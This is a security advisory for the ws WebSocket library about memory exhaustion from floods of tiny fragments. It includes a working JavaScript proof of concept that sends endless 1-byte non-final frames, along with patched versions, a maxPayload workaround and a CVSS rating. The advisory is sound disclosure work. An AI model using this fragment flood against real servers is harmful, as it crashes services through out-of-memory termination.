ws: Memory exhaustion DoS from tiny fragments and data chunks

### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).

Source published

15 Jun 2026 16:34:23 UTC

Source modified

10 Sep 2026 03:50:49 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH